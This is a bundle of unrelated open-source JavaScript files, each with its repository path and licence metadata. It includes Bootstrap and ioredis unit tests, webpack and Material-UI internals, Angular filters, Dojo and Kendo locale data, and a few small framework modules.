element is not found in DOM', function (assert) { assert.expect(1) var $div = $('#fake-id') assert.strictEqual(Util.getTransitionDurationFromElement($div[0]), 0) }) QUnit.test('Util.getUID should generate a new id uniq', function (assert) { assert.expect(2) var id = Util.getUID('test') var id2 = Util.getUID('test') assert.ok(id !== id2, id + ' !== ' + id2) id = Util.getUID('test') $('<div id="' + id + '"></div>').appendTo($('#qunit-fixture')) id2 = Util.getUID('test') assert.ok(id !== id2, id + ' !== ' + id2) }) QUnit.test('Util.supportsTransitionEnd should return true', function (assert) { assert.expect(1) assert.ok(Util.supportsTransitionEnd()) }) })
sonnemaf/ReflectionIT.Mvc.Paging
src/SampleApp/wwwroot/lib/bootstrap/js/tests/unit/util.js
JavaScript
mit
3,621
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; /** @typedef {import("webpack-sources").ReplaceSource} ReplaceSource */ /** @typedef {import("./ChunkGraph")} ChunkGraph */ /** @typedef {import("./ConcatenationScope")} ConcatenationScope */ /** @typedef {import("./Dependency")} Dependency */ /** @typedef {import("./Dependency").RuntimeSpec} RuntimeSpec */ /** @typedef {import("./DependencyTemplates")} DependencyTemplates */ /** @typedef {import("./InitFragment")} InitFragment */ /** @typedef {import("./Module")} Module */ /** @typedef {import("./ModuleGraph")} ModuleGraph */ /** @typedef {import("./RuntimeTemplate")} RuntimeTemplate */ /** * @typedef {Object} DependencyTemplateContext * @property {RuntimeTemplate} runtimeTemplate the runtime template * @property {DependencyTemplates} dependencyTemplates the dependency templates * @property {ModuleGraph} moduleGraph the module graph * @property {ChunkGraph} chunkGraph the chunk graph * @property {Set<string>} runtimeRequirements the requirements for runtime * @property {Module} module current module * @property {RuntimeSpec} runtime current runtimes, for which code is generated * @property {InitFragment[]} initFragments mutable array of init fragments for the current module * @property {ConcatenationScope=} concatenationScope when in a concatenated module, information about other concatenated modules */ class DependencyTemplate { /* istanbul ignore next */ /** * @abstract * @param {Dependency} dependency the dependency for which the template should be applied * @param {ReplaceSource} source the current replace source which can be modified * @param {DependencyTemplateContext} templateContext the context object * @returns {void} */ apply(dependency, source, templateContext) { const AbstractMethodError = require("./AbstractMethodError"); throw new AbstractMethodError(); } } module.exports = DependencyTemplate;
arvenil/resume
node_modules/webpack/lib/DependencyTemplate.js
JavaScript
mit
1,990
'use strict'; /* Filters */ var app = angular.module('myApp.heartbeats.filters', []); app.filter('heartbeatOnline', ['gettextCatalog', function(gettextCatalog) { return function(input) { input = input || ''; return input === 'true' ? gettextCatalog.getString('Online') : gettextCatalog.getString('Offline'); }; }]); app.filter('disconnectReason',['gettextCatalog', function(gettextCatalog) { return function(input) { input = input || ''; if (input === '') { return gettextCatalog.getString('Unknown'); } else { return input === 'connectivity' ? gettextCatalog.getString('Lost Connection') : gettextCatalog.getString('Lost Power'); } }; }]);
ZakMooney/cucumber-frontend
client/components/heartbeats/heartbeats.filters.js
JavaScript
mit
690
/*global SyntaxUnit, Parser*/ /** * Represents a selector combinator (whitespace, +, >). * @namespace parserlib.css * @class PropertyName * @extends parserlib.util.SyntaxUnit * @constructor * @param {String} text The text representation of the unit. * @param {String} hack The type of IE hack applied ("*", "_", or null). * @param {int} line The line of text on which the unit resides. * @param {int} col The column of text on which the unit resides. */ function PropertyName(text, hack, line, col){ SyntaxUnit.call(this, text, line, col, Parser.PROPERTY_NAME_TYPE); /** * The type of IE hack applied ("*", "_", or null). * @type String * @property hack */ this.hack = hack; } PropertyName.prototype = new SyntaxUnit(); PropertyName.prototype.constructor = PropertyName; PropertyName.prototype.toString = function(){ return (this.hack ? this.hack : "") + this.text; };
ash1982ok/parser-lib
src/css/PropertyName.js
JavaScript
mit
919
'use strict'; var utils = require('../../lib/utils'); describe('utils', function () { describe('.bufferEqual', function () { it('should return correctly', function () { expect(utils.bufferEqual(new Buffer('123'), new Buffer('abc'))).to.eql(false); expect(utils.bufferEqual(new Buffer('abc'), new Buffer('abc'))).to.eql(true); expect(utils.bufferEqual(new Buffer('bc'), new Buffer('abc'))).to.eql(false); expect(utils.bufferEqual(new Buffer(''), new Buffer(''))).to.eql(true); }); it('should work when Buffer#equals not exists', function () { var equals = Buffer.prototype.equals; delete Buffer.prototype.equals; expect(utils.bufferEqual(new Buffer('123'), new Buffer('abc'))).to.eql(false); expect(utils.bufferEqual(new Buffer('abc'), new Buffer('abc'))).to.eql(true); expect(utils.bufferEqual(new Buffer('bc'), new Buffer('abc'))).to.eql(false); expect(utils.bufferEqual(new Buffer(''), new Buffer(''))).to.eql(true); Buffer.prototype.equals = equals; }); }); describe('.convertBufferToString', function () { it('should return correctly', function () { expect(utils.convertBufferToString(new Buffer('123'))).to.eql('123'); expect(utils.convertBufferToString([new Buffer('abc'), new Buffer('abc')])).to.eql(['abc', 'abc']); expect(utils.convertBufferToString([new Buffer('abc'), [[new Buffer('abc')]]])).to.eql(['abc', [['abc']]]); expect(utils.convertBufferToString([new Buffer('abc'), 5, 'b', [[new Buffer('abc'), 4]]])) .to.eql(['abc', 5, 'b', [['abc', 4]]]); }); }); describe('.wrapMultiResult', function () { it('should return correctly', function () { expect(utils.wrapMultiResult(null)).to.eql(null); expect(utils.wrapMultiResult([1, 2])).to.eql([[null, 1], [null, 2]]); expect(utils.wrapMultiResult([1, 2, new Error('2')])).to.eql([[null, 1], [null, 2], [new Error('2')]]); }); }); describe('.isInt', function () { it('should return correctly', function () { expect(utils.isInt(2)).to.eql(true); expect(utils.isInt('2231')).to.eql(true); expect(utils.isInt('s')).to.eql(false); expect(utils.isInt('1s')).to.eql(false); expect(utils.isInt(false)).to.eql(false); }); }); describe('.packObject', function () { it('should return correctly', function () { expect(utils.packObject([1, 2])).to.eql({ 1: 2 }); expect(utils.packObject([1, '2'])).to.eql({ 1: '2' }); expect(utils.packObject([1, '2', 'abc', 'def'])).to.eql({ 1: '2', abc: 'def' }); }); }); describe('.timeout', function () { it('should return a callback', function (done) { var invoked = false; var wrappedCallback1 = utils.timeout(function () { invoked = true; }, 0); wrappedCallback1(); var invokedTimes = 0; var wrappedCallback2 = utils.timeout(function (err) { expect(err.message).to.match(/timeout/); invokedTimes += 1; wrappedCallback2(); setTimeout(function () { expect(invoked).to.eql(true); expect(invokedTimes).to.eql(1); done(); }, 0); }, 0); }); }); describe('.convertObjectToArray', function () { it('should return correctly', function () { expect(utils.convertObjectToArray({ 1: 2 })).to.eql(['1', 2]); expect(utils.convertObjectToArray({ 1: '2' })).to.eql(['1', '2']); expect(utils.convertObjectToArray({ 1: '2', abc: 'def' })).to.eql(['1', '2', 'abc', 'def']); }); }); describe('.convertMapToArray', function () { it('should return correctly', function () { if (typeof Map !== 'undefined') { expect(utils.convertMapToArray(new Map([['1', 2]]))).to.eql(['1', 2]); expect(utils.convertMapToArray(new Map([[1, 2]]))).to.eql([1, 2]); expect(utils.convertMapToArray(new Map([[1, '2'], ['abc', 'def']]))).to.eql([1, '2', 'abc', 'def']); } }); }); describe('.toArg', function () { it('should return correctly', function () { expect(utils.toArg(null)).to.eql(''); expect(utils.toArg(undefined)).to.eql(''); expect(utils.toArg('abc')).to.eql('abc'); expect(utils.toArg(123)).to.eql('123'); }); }); describe('.optimizeErrorStack', function () { it('should return correctly', function () { var error = new Error(); var res = utils.optimizeErrorStack(error, new Error().stack + '\n@', __dirname); expect(res.stack.split('\n').pop()).to.eql('@'); }); }); describe('.parseURL', function () { it('should return correctly', function () { expect(utils.parseURL('/tmp.sock')).to.eql({ path: '/tmp.sock' }); expect(utils.parseURL('127.0.0.1')).to.eql({ host: '127.0.0.1' }); expect(utils.parseURL('6379')).to.eql({ port: '6379' }); expect(utils.parseURL('127.0.0.1:6379')).to.eql({ host: '127.0.0.1', port: '6379' }); expect(utils.parseURL('127.0.0.1:6379?db=2&key=value')).to.eql({ host: '127.0.0.1', port: '6379', db: '2', key: 'value' }); expect(utils.parseURL('redis://user:pass@127.0.0.1:6380/4?key=value')).to.eql({ host: '127.0.0.1', port: '6380', db: '4', password: 'pass', key: 'value' }); expect(utils.parseURL('redis://127.0.0.1/')).to.eql({ host: '127.0.0.1' }); }); }); describe('.sample', function () { it('should return a random value', function () { stub(Math, 'random', function () { return 0; }); expect(utils.sample([1, 2, 3])).to.eql(1); expect(utils.sample([1, 2, 3], 1)).to.eql(2); expect(utils.sample([1, 2, 3], 2)).to.eql(3); Math.random.restore(); stub(Math, 'random', function () { return 0.999999; }); expect(utils.sample([1, 2, 3])).to.eql(3); expect(utils.sample([1, 2, 3], 1)).to.eql(3); expect(utils.sample([1, 2, 3], 2)).to.eql(3); Math.random.restore(); }); }); });
DynamicYield/ioredis
test/unit/utils.js
JavaScript
mit
6,058
"use strict"; var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard"); var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault"); Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends")); var React = _interopRequireWildcard(require("react")); var _clsx = _interopRequireDefault(require("clsx")); var _withStyles = _interopRequireDefault(require("../styles/withStyles")); var styles = function styles(theme) { return { thumb: { '&$open': { '& $offset': { transform: 'scale(1) translateY(-10px)' } } }, open: {}, offset: (0, _extends2.default)({ zIndex: 1 }, theme.typography.body2, { fontSize: theme.typography.pxToRem(12), lineHeight: 1.2, transition: theme.transitions.create(['transform'], { duration: theme.transitions.duration.shortest }), top: -34, transformOrigin: 'bottom center', transform: 'scale(0)', position: 'absolute' }), circle: { display: 'flex', alignItems: 'center', justifyContent: 'center', width: 32, height: 32, borderRadius: '50% 50% 50% 0', backgroundColor: 'currentColor', transform: 'rotate(-45deg)' }, label: { color: theme.palette.primary.contrastText, transform: 'rotate(45deg)' } }; }; /** * @ignore - internal component. */ function ValueLabel(props) { var children = props.children, classes = props.classes, className = props.className, open = props.open, value = props.value, valueLabelDisplay = props.valueLabelDisplay; if (valueLabelDisplay === 'off') { return children; } return React.cloneElement(children, { className: (0, _clsx.default)(children.props.className, (open || valueLabelDisplay === 'on') && classes.open, classes.thumb) }, /*#__PURE__*/React.createElement("span", { className: (0, _clsx.default)(classes.offset, className) }, /*#__PURE__*/React.createElement("span", { className: classes.circle }, /*#__PURE__*/React.createElement("span", { className: classes.label }, value)))); } var _default = (0, _withStyles.default)(styles, { name: 'PrivateValueLabel' })(ValueLabel); exports.default = _default;
cdnjs/cdnjs
ajax/libs/material-ui/4.9.9/Slider/ValueLabel.js
JavaScript
mit
2,414
define( //begin v1.x content { "field-quarter-short-relative+0": "هذا الربع", "field-quarter-short-relative+1": "الربع القادم", "field-tue-relative+-1": "الثلاثاء الماضي", "field-year": "السنة", "field-wed-relative+0": "الأربعاء الحالي", "field-wed-relative+1": "الأربعاء القادم", "timeFormat-short": "h:mm a", "field-minute": "الدقائق", "field-tue-narrow-relative+0": "الثلاثاء الحالي", "field-tue-narrow-relative+1": "الثلاثاء القادم", "field-thu-short-relative+0": "الخميس الحالي", "field-thu-short-relative+1": "الخميس القادم", "field-day-relative+0": "اليوم", "field-day-relative+1": "غدًا", "field-day-relative+2": "بعد الغد", "field-wed-narrow-relative+-1": "الأربعاء الماضي", "field-year-narrow": "السنة", "field-tue-relative+0": "الثلاثاء الحالي", "field-tue-relative+1": "الثلاثاء القادم", "field-second-short": "الثواني", "dayPeriods-format-narrow-am": "ص", "dateFormatItem-MMMd": "d MMM", "dayPeriods-format-abbr-am": "ص", "field-week-relative+0": "هذا الأسبوع", "field-month-relative+0": "هذا الشهر", "field-week-relative+1": "الأسبوع القادم", "field-month-relative+1": "الشهر القادم", "field-sun-narrow-relative+0": "الأحد الحالي", "timeFormat-medium": "h:mm:ss a", "field-mon-short-relative+0": "الاثنين الحالي", "field-sun-narrow-relative+1": "الأحد القادم", "field-mon-short-relative+1": "الإثنين القادم", "field-second-relative+0": "الآن", "dateFormatItem-yyyyQQQ": "QQQ y G", "eraNames": [ "ص" ], "dayPeriods-standAlone-abbr-pm": "م", "field-month-short": "الشهر", "dateFormatItem-GyMMMEd": "E، d MMM، y G", "dateFormatItem-yyyyMd": "d/M/y G", "field-day": "يوم", "field-year-relative+-1": "السنة الماضية", "dayPeriods-format-wide-am": "ص", "field-sat-short-relative+-1": "السبت الماضي", "field-hour-relative+0": "الساعة الحالية", "dateFormatItem-yyyyMEd": "E، d/M/y G", "field-wed-relative+-1": "الأربعاء الماضي", "field-sat-narrow-relative+-1": "السبت الماضي", "field-second": "الثواني", "days-standAlone-narrow": [ "ح", "ن", "ث", "ر", "خ", "ج", "س" ], "dayPeriods-standAlone-wide-pm": "مساءً", "dateFormat-long": "d MMMM، y G", "dateFormatItem-GyMMMd": "d MMM، y G", "field-quarter": "ربع السنة", "field-week-short": "الأسبوع", "quarters-standAlone-wide": [ "الربع الأول", "الربع الثاني", "الربع الثالث", "الربع الرابع" ], "days-format-narrow": [ "ح", "ن", "ث", "ر", "خ", "ج", "س" ], "field-tue-short-relative+0": "الثلاثاء الحالي", "field-tue-short-relative+1": "الثلاثاء القادم", "field-mon-relative+-1": "الاثنين الماضي", "dateFormatItem-GyMMM": "MMM y G", "field-month": "الشهر", "field-day-narrow": "يوم", "field-minute-short": "الدقائق", "field-dayperiod": "ص/م", "field-sat-short-relative+0": "السبت الحالي", "field-sat-short-relative+1": "السبت القادم", "dayPeriods-format-narrow-pm": "م", "dateFormat-medium": "dd‏/MM‏/y G", "dateFormatItem-yyyyMMMM": "MMMM، y G", "eraAbbr": [ "ص" ], "quarters-standAlone-abbr": [ "الربع الأول", "الربع الثاني", "الربع الثالث", "الربع الرابع" ], "dayPeriods-format-abbr-pm": "م", "dateFormatItem-yyyyM": "M/y G", "field-second-narrow": "الثواني", "field-mon-relative+0": "الاثنين الحالي", "field-mon-relative+1": "الاثنين القادم", "field-year-short": "السنة", "field-quarter-relative+-1": "الربع الأخير", "dateFormatItem-yyyyMMMd": "d MMM، y G", "dayPeriods-standAlone-narrow-am": "ص", "days-format-short": [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ], "quarters-format-narrow": [ "١", "٢", "٣", "٤" ], "dayPeriods-format-wide-pm": "م", "field-sat-relative+-1": "السبت الماضي", "dateFormatItem-Md": "d/M", "field-hour": "الساعات", "months-format-wide": [ "تشري", "مرحشوان", "كيسلو", "طيفت", "شباط", "آذار الأول", "آذار", "نيسان", "أيار", "سيفان", "تموز", "آب", "أيلول" ], "dateFormat-full": "EEEE، d MMMM، y G", "field-month-relative+-1": "الشهر الماضي", "field-quarter-short": "ربع السنة", "field-sat-narrow-relative+0": "السبت الحالي", "field-fri-relative+0": "الجمعة الحالي", "field-sat-narrow-relative+1": "السبت القادم", "field-fri-relative+1": "الجمعة القادم", "field-sun-short-relative+0": "الأحد الحالي", "field-sun-short-relative+1": "الأحد القادم", "field-week-relative+-1": "الأسبوع الماضي", "field-quarter-short-relative+-1": "الربع الأخير", "months-format-abbr": [ "تشري", "مرحشوان", "كيسلو", "طيفت", "شباط", "آذار الأول", "آذار", "نيسان", "أيار", "سيفان", "تموز", "آب", "أيلول" ], "field-quarter-relative+0": "هذا الربع", "field-minute-relative+0": "هذه الدقيقة", "timeFormat-long": "h:mm:ss a z", "field-quarter-relative+1": "الربع القادم", "field-wed-short-relative+-1": "الأربعاء الماضي", "dateFormat-short": "d‏/M‏/y GGGGG", "field-thu-short-relative+-1": "الخميس الماضي", "days-standAlone-wide": [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ], "dateFormatItem-yyyyMMMEd": "E، d MMM، y G", "field-mon-narrow-relative+-1": "الإثنين الماضي", "dateFormatItem-MMMMd": "d MMMM", "field-thu-narrow-relative+-1": "الخميس الماضي", "field-tue-narrow-relative+-1": "الثلاثاء الماضي", "dateFormatItem-yyyy": "y G", "dayPeriods-standAlone-narrow-pm": "م", "field-wed-short-relative+0": "الأربعاء الحالي", "months-standAlone-wide": [ "تشري", "مرحشوان", "كيسلو", "طيفت", "شباط", "آذار الأول", "آذار", "نيسان", "أيار", "سيفان", "تموز", "آب", "أيلول" ], "field-wed-short-relative+1": "الأربعاء القادم", "field-sun-relative+-1": "الأحد الماضي", "days-standAlone-abbr": [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ], "months-format-abbr-leap": "آذار الثاني", "field-weekday": "اليوم", "field-quarter-narrow-relative+0": "هذا الربع", "field-sat-relative+0": "السبت الحالي", "field-quarter-narrow-relative+1": "الربع القادم", "field-sat-relative+1": "السبت القادم", "months-standAlone-abbr": [ "تشري", "مرحشوان", "كيسلو", "طيفت", "شباط", "آذار الأول", "آذار", "نيسان", "أيار", "سيفان", "تموز", "آب", "أيلول" ], "months-format-wide-leap": "آذار الثاني", "timeFormat-full": "h:mm:ss a zzzz", "dateFormatItem-MEd": "E، d/M", "dateFormatItem-y": "y G", "field-thu-narrow-relative+0": "الخميس الحالي", "field-thu-narrow-relative+1": "الخميس القادم", "field-sun-narrow-relative+-1": "الأحد الماضي", "field-mon-short-relative+-1": "الاثنين الماضي", "field-thu-relative+0": "الخميس الحالي", "field-thu-relative+1": "الخميس القادم", "field-fri-short-relative+-1": "الجمعة الماضي", "field-thu-relative+-1": "الخميس الماضي", "field-week": "الأسبوع", "quarters-standAlone-narrow": [ "١", "٢", "٣", "٤" ], "quarters-format-wide": [ "الربع الأول", "الربع الثاني", "الربع الثالث", "الربع الرابع" ], "dateFormatItem-Ed": "E، d", "field-wed-narrow-relative+0": "الأربعاء الحالي", "field-wed-narrow-relative+1": "الأربعاء القادم", "field-quarter-narrow-relative+-1": "الربع الأخير", "dateFormatItem-yyyyMMM": "MMM، y G", "field-fri-short-relative+0": "الجمعة الحالي", "field-fri-short-relative+1": "الجمعة القادم", "days-standAlone-short": [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ], "months-standAlone-abbr-leap": "آذار الثاني", "dateFormatItem-yyyyQQQQ": "QQQQ y G", "field-hour-short": "الساعات", "quarters-format-abbr": [ "الربع الأول", "الربع الثاني", "الربع الثالث", "الربع الرابع" ], "field-month-narrow": "الشهر", "field-hour-narrow": "الساعات", "field-fri-narrow-relative+-1": "الجمعة الماضي", "field-year-relative+0": "السنة الحالية", "field-year-relative+1": "السنة القادمة", "field-fri-relative+-1": "الجمعة الماضي", "eraNarrow": [ "ص" ], "field-tue-short-relative+-1": "الثلاثاء الماضي", "field-minute-narrow": "الدقائق", "days-format-wide": [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ], "field-mon-narrow-relative+0": "الإثنين الحالي", "field-mon-narrow-relative+1": "الإثنين القادم", "field-zone": "التوقيت", "dateFormatItem-MMMEd": "E، d MMM", "months-standAlone-wide-leap": "آذار الثاني", "field-quarter-narrow": "ربع السنة", "field-sun-short-relative+-1": "الأحد الماضي", "field-day-relative+-1": "أمس", "dayPeriods-standAlone-abbr-am": "ص", "field-day-relative+-2": "أول أمس", "days-format-abbr": [ "الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت" ], "field-sun-relative+0": "الأحد الحالي", "field-sun-relative+1": "الأحد القادم", "dateFormatItem-Gy": "y G", "field-day-short": "يوم", "field-week-narrow": "الأسبوع", "field-era": "العصر", "field-fri-narrow-relative+0": "الجمعة الحالي", "field-fri-narrow-relative+1": "الجمعة القادم", "dayPeriods-standAlone-wide-am": "صباحًا" } //end v1.x content );
cdnjs/cdnjs
ajax/libs/dojo/1.16.3/cldr/nls/ar/hebrew.js
JavaScript
mit
10,807
$_L(["$wt.dnd.ByteArrayTransfer"],"$wt.dnd.URLTransfer",["java.net.URL","$wt.dnd.DND"],function(){ c$=$_T($wt.dnd,"URLTransfer",$wt.dnd.ByteArrayTransfer); $_K(c$, ($fz=function(){ $_R(this,$wt.dnd.URLTransfer,[]); },$fz.isPrivate=true,$fz)); c$.getInstance=$_M(c$,"getInstance", function(){ return $wt.dnd.URLTransfer._instance; }); $_V(c$,"javaToNative", function(object,transferData){ if(!this.checkURL(object)||!this.isSupportedType(transferData)){ $wt.dnd.DND.error(2003); }},"~O,$wt.dnd.TransferData"); $_V(c$,"nativeToJava", function(transferData){ if(!this.isSupportedType(transferData)||transferData.pIDataObject==0)return null; return null; },"$wt.dnd.TransferData"); $_V(c$,"getTypeIds", function(){ return[$wt.dnd.URLTransfer.CFSTR_INETURLID]; }); $_V(c$,"getTypeNames", function(){ return["UniformResourceLocator"]; }); $_M(c$,"checkURL", function(object){ if(object==null||!($_O(object,Array))||(object).length==0)return false; var strings=object; if(strings[0]==null||strings[0].length==0)return false; try{ new java.net.URL(strings[0]); }catch(e){ if($_O(e,java.net.MalformedURLException)){ return false; }else{ throw e; } } return true; },"~O"); $_V(c$,"validate", function(object){ return this.checkURL(object); },"~O"); c$._instance=c$.prototype._instance=new $wt.dnd.URLTransfer(); $_S(c$, "CFSTR_INETURL","UniformResourceLocator"); c$.CFSTR_INETURLID=c$.prototype.CFSTR_INETURLID=$wt.dnd.Transfer.registerType("UniformResourceLocator"); });
royleexhFake/mayloon-portingtool
sources/net.sf.j2s.lib/j2slib/org/eclipse/swt/dnd/URLTransfer.js
JavaScript
epl-1.0
1,518
import AbstractEditRoute from 'hospitalrun/routes/abstract-edit-route'; import ChargeRoute from 'hospitalrun/mixins/charge-route'; import Ember from 'ember'; export default AbstractEditRoute.extend(ChargeRoute, { editTitle: 'Edit Visit', modelName: 'visit', newTitle: 'New Visit', pricingCategory: 'Ward', getNewData: function() { return Ember.RSVP.resolve({ visitType: 'Admission', startDate: new Date(), status: 'Admitted' }); } });
nerdkid93/hospitalrun-frontend
app/visits/edit/route.js
JavaScript
gpl-3.0
475
/** * Kendo UI v2018.1.221 (http://www.telerik.com/kendo-ui) * Copyright 2018 Telerik AD. All rights reserved. * * Kendo UI commercial licenses may be obtained at * http://www.telerik.com/purchase/license-agreement/kendo-ui-complete * If you do not own a commercial license, this file shall be governed by the trial license terms. */ (function(f){ if (typeof define === 'function' && define.amd) { define(["kendo.core"], f); } else { f(); } }(function(){ (function( window, undefined ) { kendo.cultures["es-DO"] = { name: "es-DO", numberFormat: { pattern: ["-n"], decimals: 2, ",": ",", ".": ".", groupSize: [3], percent: { pattern: ["-n%","n%"], decimals: 2, ",": ",", ".": ".", groupSize: [3], symbol: "%" }, currency: { name: "Dominican Peso", abbr: "DOP", pattern: ["($n)","$n"], decimals: 2, ",": ",", ".": ".", groupSize: [3], symbol: "$" } }, calendars: { standard: { days: { names: ["domingo","lunes","martes","miércoles","jueves","viernes","sábado"], namesAbbr: ["dom.","lun.","mar.","mié.","jue.","vie.","sáb."], namesShort: ["DO","LU","MA","MI","JU","VI","SA"] }, months: { names: ["enero","febrero","marzo","abril","mayo","junio","julio","agosto","septiembre","octubre","noviembre","diciembre"], namesAbbr: ["ene.","feb.","mar.","abr.","may.","jun.","jul.","ago.","sep.","oct.","nov.","dic."] }, AM: ["a.m.","a.m.","A.M."], PM: ["p.m.","p.m.","P.M."], patterns: { d: "d/M/yyyy", D: "dddd, d 'de' MMMM 'de' yyyy", F: "dddd, d 'de' MMMM 'de' yyyy h:mm:ss tt", g: "d/M/yyyy h:mm tt", G: "d/M/yyyy h:mm:ss tt", m: "d 'de' MMMM", M: "d 'de' MMMM", s: "yyyy'-'MM'-'dd'T'HH':'mm':'ss", t: "h:mm tt", T: "h:mm:ss tt", u: "yyyy'-'MM'-'dd HH':'mm':'ss'Z'", y: "MMMM 'de' yyyy", Y: "MMMM 'de' yyyy" }, "/": "/", ":": ":", firstDay: 0 } } } })(this); }));
Memba/Kidoju-Widgets
src/js/vendor/kendo/cultures/kendo.culture.es-DO.js
JavaScript
gpl-3.0
6,609
define('liquid-fire/is-browser', ['exports'], function (exports) { 'use strict'; exports['default'] = isBrowser; function isBrowser() { return typeof window !== 'undefined' && window && typeof document !== 'undefined' && document; } });
Elektro1776/latestEarthables
core/client/tmp/broccoli_persistent_filterbabel-output_path-tPBlbXg2.tmp/liquid-fire/is-browser.js
JavaScript
gpl-3.0
250